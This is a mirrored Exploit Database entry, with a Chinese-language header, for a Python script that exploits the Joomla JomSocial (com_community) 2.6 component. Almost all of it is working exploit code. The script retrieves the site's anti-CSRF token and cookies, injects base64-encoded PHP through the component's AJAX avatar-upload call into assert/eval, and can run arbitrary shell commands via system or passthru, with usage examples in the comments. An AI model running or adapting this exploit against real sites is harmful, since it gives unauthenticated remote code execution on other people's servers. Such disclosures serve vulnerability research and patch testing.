Joomla! Component com_community 2.6 – Code Execution

Exploit Database
112 阅读

作者： Matias Fontanini

日期： 2014-02-05
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/31435/

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#!/usr/bin/python

# Joomla! JomSocial component >= 2.6 PHP code execution exploit

# Authors:

# - Matias Fontanini

# - Gaston Traberg

# This exploit allows the execution of PHP code without any prior

# authentication on the Joomla! JomSocial component.

# Note that in order to be able to execute PHP code, both the "eval"

# and "assert" functions must be enabled. It is also possible to execute

# arbitrary PHP functions, without using them. Therefore, it is possible

# to execute shell commands using "system", "passthru", etc, as long

# as they are enabled.

# Examples:

# Execute PHP code:

# ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';"

# ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php

# Execute shell commands(using system()):

# ./exploit.py -u http://example.com/index.php -s "netstat -n"

# Exploit shell commands(using a user provided function, passthru in this case)

# ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru

# Exploit execution example:

# $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");'

# [i] Retrieving cookies and anti-CSRF token... Done

# [+] Executing PHP code...

# string(12) "Hello World!"

import urllib, urllib2, re, argparse, sys, os

class Exploit:

token_request_data = 'option=com_community&view=frontpage'

exploit_request_data = 'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["_d_","Event"]&arg3=["_d_","374"]&arg4=["_d_","{1}"]'

json_data = '{{"call":["CStringHelper","escape", "{1}","{0}"]}}'

def __init__(self, url, user_agent = None, use_eval = True):

self.url = url

self._set_user_agent(user_agent)

self.use_eval = use_eval

self.token_regex = re.compile('<input type=\"hidden\" name=\"([\w\d]{32})\" value=\"1\" \/>')

self.cookie, self.token = self._retrieve_token()

self.result_regex = re.compile('method=\\\\"POST\\\\" enctype=\\\\"multipart\\\\/form-data\\\\"><br>(.*)<div id=\\\\"avatar-upload\\\\">', re.DOTALL)

self.command_regex = re.compile('(.*)\\[\\["as","ajax_calls","d",""\\]', re.DOTALL)

def _set_user_agent(self, user_agent):

self.user_agent = user_agent

def _make_opener(self, add_cookie = True):

opener = urllib2.build_opener()

if add_cookie:

opener.addheaders.append(('Cookie', self.cookie))

opener.addheaders.append(('Referer', self.url))

if self.user_agent:

opener.addheaders.append(('User-Agent', self.user_agent))

return opener

def _retrieve_token(self):

opener = self._make_opener(False)

sys.stdout.write('[i] Retrieving cookies and anti-CSRF token... ')

sys.stdout.flush()

req = opener.open(self.url, Exploit.token_request_data)

data = req.read()

token = self.token_regex.findall(data)

if len(token) < 1:

print 'Failed'

raise Exception("Could not retrieve anti-CSRF token")

print 'Done'

return (req.headers['Set-Cookie'], token[0])

def _do_call_function(self, function, parameter):

parameter = parameter.replace('"', '\\"')

json_data = Exploit.json_data.format(function, parameter)

json_data = urllib2.quote(json_data)

data = Exploit.exploit_request_data.format(self.token, json_data)

opener = self._make_opener()

req = opener.open(self.url, data)

if function == 'assert':

return req.read()

elif function in ['system', 'passthru']:

result = self.command_regex.findall(req.read())

if len(result) == 1:

return result[0]

else:

return "[+] Error executing command."

else:

result = self.result_regex.findall(req.read())

if len(result) == 1:

return result[0].replace('\\/', '/').replace('\\"', '"').replace('\\n', '\n')

else:

return "[+] Error executing command."

def call_function(self, function, parameter):

if self.use_eval:

return self.eval("echo {0}('{1}')".format(function, parameter))

else:

return self._do_call_function(function, parameter)

def disabled_functions(self):

return self.call_function("ini_get", "disable_functions")

def test_injection(self):

result = self.eval("echo 'HELLO' . ' - ' . 'WORLD';")

if 'HELLO - WORLD' in result:

print "[+] Code injection using eval works"

else:

print "[+] Code injection doesn't work. Try executing shell commands."

def eval(self, code):

if code [-1] != ';':

code = code + ';'

return self._do_call_function('assert', "@exit(@eval(@base64_decode('{0}')));".format(code.encode('base64').replace('\n', '')))

parser = argparse.ArgumentParser(

description="JomSocial >= 2.6 - Code execution exploit"

)

parser.add_argument('-u', '--url', help='the base URL', required=True)

parser.add_argument(

'-p',

'--php-code',

help='the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from')

parser.add_argument('-s', '--shell-command', help='the shell command to execute')

parser.add_argument('-c', '--shell-function', help='the PHP function to use when executing shell commands', default="system")

parser.add_argument('-t', '--test', action='store_true', help='test the PHP code injection using eval', default=False)

parser.add_argument('-n', '--no-eval', action='store_false', help='don\'t use eval when executing shell commands', default=True)

args = parser.parse_args()

if not args.test and not args.php_code and not args.shell_command:

print '[-] Need -p, -t or -s to do something...'

exit(1)

url = args.url

try:

if not url.startswith('http://') and not url.startswith('https://'):

url = 'http://' + url

exploit = Exploit(url, use_eval=args.no_eval)

if args.test:

exploit.test_injection()

elif args.php_code:

code = args.php_code

if args.php_code == '-':

print '[i] Enter the code to be executed:'

code = sys.stdin.read()

elif os.path.isfile(code):

try:

fd = open(code)

code = fd.read()

fd.close()

except Exception:

print "[-] Error reading the file."

exit(1)

print '[+] Executing PHP code...'

print exploit.eval(code)

elif args.shell_command:

print exploit.call_function(args.shell_function, args.shell_command)

except Exception as ex:

print '[+] Error: ' + str(ex)